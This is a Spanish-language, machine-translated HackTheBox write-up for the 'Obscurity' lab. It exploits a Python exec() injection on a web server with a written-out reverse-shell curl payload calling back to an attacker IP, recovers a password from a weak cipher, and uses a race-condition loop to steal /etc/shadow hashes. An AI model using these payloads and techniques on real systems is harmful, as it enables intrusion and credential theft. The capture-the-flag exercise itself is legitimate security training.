HackTheBox. Paso de la oscuridad. Inyecci贸n de comandos del sistema operativo y condici贸n de carrera

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .

En este art铆culo, aprovechamos una vulnerabilidad en el c贸digo de Python y tambi茅n realizamos un ataque de condici贸n de carrera.

La conexi贸n al laboratorio es a trav茅s de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted est茅n disponibles, ya que ingresa a una red privada con personas que saben algo en el campo de la seguridad de la informaci贸n :)

Informaci贸n organizacional
, , Telegram . , , .

. , - , .

Recon


Esta m谩quina tiene una direcci贸n IP 10.10.10.168, que agrego a / etc / hosts.

10.10.10.168    obscurity.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero har茅 esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

imagen

Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que operan en los puertos, realizaremos un an谩lisis con la opci贸n -A.

nmap -A obscurity.htb -p22,8080

imagen

El host ejecuta el servicio SSH y el servidor web. Vamos a ver la web.

imagen

Por lo tanto, tenemos:

  1. Servidor de grabaci贸n
  2. Cifrado utilizado
  3. El c贸digo del servidor en el archivo SuperSecureServer.py en alg煤n directorio desconocido.

Como sabemos el nombre del archivo, veamos el directorio. Hag谩moslo con wfuzz. Como par谩metro, pasamos el diccionario, la URL y el c贸digo de respuesta para que se ignoren.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

imagen

Y encontramos este directorio. Descarguemos el c贸digo del servidor.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Punto de entrada


Abrimos y analizamos el servidor. Encontramos un uso potencialmente peligroso de la funci贸n exec ().

imagen

Agreguemos algunas l铆neas al c贸digo.

imagen

Entonces, podemos iniciar el servidor localmente y ver qu茅 entra en la funci贸n exec (). Comencemos el servidor y enviemos una solicitud.

curl http://127.0.0.1:33333/asd

imagen

curl "http://127.0.0.1:33333/asd'"

imagen

curl "http://127.0.0.1:33333/asd''"

imagen

Por lo tanto, tenemos la inyecci贸n del comando OS.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

imagen

Utilizaremos el siguiente shell de python inverso.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Dado que el c贸digo del servidor ya contiene la importaci贸n de los m贸dulos necesarios, eliminamos su importaci贸n del shell. Tambi茅n escapamos de las comillas y corchetes.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

imagen

隆Multa! Todo funciona en la m谩quina local. Ejecutemos esta solicitud al servidor.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

imagen

Tenemos un punto de entrada.

USUARIO


Buscamos en el servidor y encontramos archivos legibles en el directorio de inicio del usuario.

imagen

Leemos archivos

imagen

Por lo tanto, los archivos est谩n encriptados. Descargue todo lo que se nos da al host local. Como se indica en el mensaje, el archivo check.txt est谩 encriptado y el resultado est谩 en out.txt. Veamos el algoritmo.

imagen

Por lo tanto, durante el cifrado, se produce la adici贸n del s铆mbolo de texto y el s铆mbolo de clave m贸dulo 255. Al descifrar, estos s铆mbolos se restan.

Es decir, ([check.txt] + [clave])% 255 = out.txt y ([out.txt] - [clave])% 255 = check.txt. Entonces ([out.txt] - [check.txt])% 255 = clave.

imagen

imagen

Y mira la llave.

imagen

Y ahora en esta clave desciframos la contrase帽a del usuario.

imagen

Nos conectamos a trav茅s de SSH con esta contrase帽a y tomamos la bandera del usuario.

imagen

RA脥Z


Veamos la configuraci贸n de sudo, es decir, si el usuario robert puede ejecutar cualquier comando bajo sudo sin contrase帽a.

imagen

Veamos el c贸digo. El c贸digo requerir谩 datos de autenticaci贸n. Luego copia el contenido del archivo / etc / shadow en el directorio / tmp / SSH / *. Luego verificar谩 los datos de autenticaci贸n y eliminar谩 el archivo.

imagen

imagen

Por lo tanto, debemos lograr copiar el archivo desde / tmp / SSH / * antes de eliminarlo. Ejecute el segundo terminal y ejecute un ciclo de lectura sin fin en 茅l.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Ahora ejecute el programa, ingrese cualquier dato y vea los hashes.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

imagen

Y se rompen f谩cilmente.

imagen

Tomamos la bandera de la ra铆z.

imagen

Puedes unirte a nosotros en Telegram . All铆 puede encontrar materiales interesantes, cursos combinados, as铆 como software. Formemos una comunidad en la que haya personas con conocimientos en muchas 谩reas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la informaci贸n y TI.

All Articles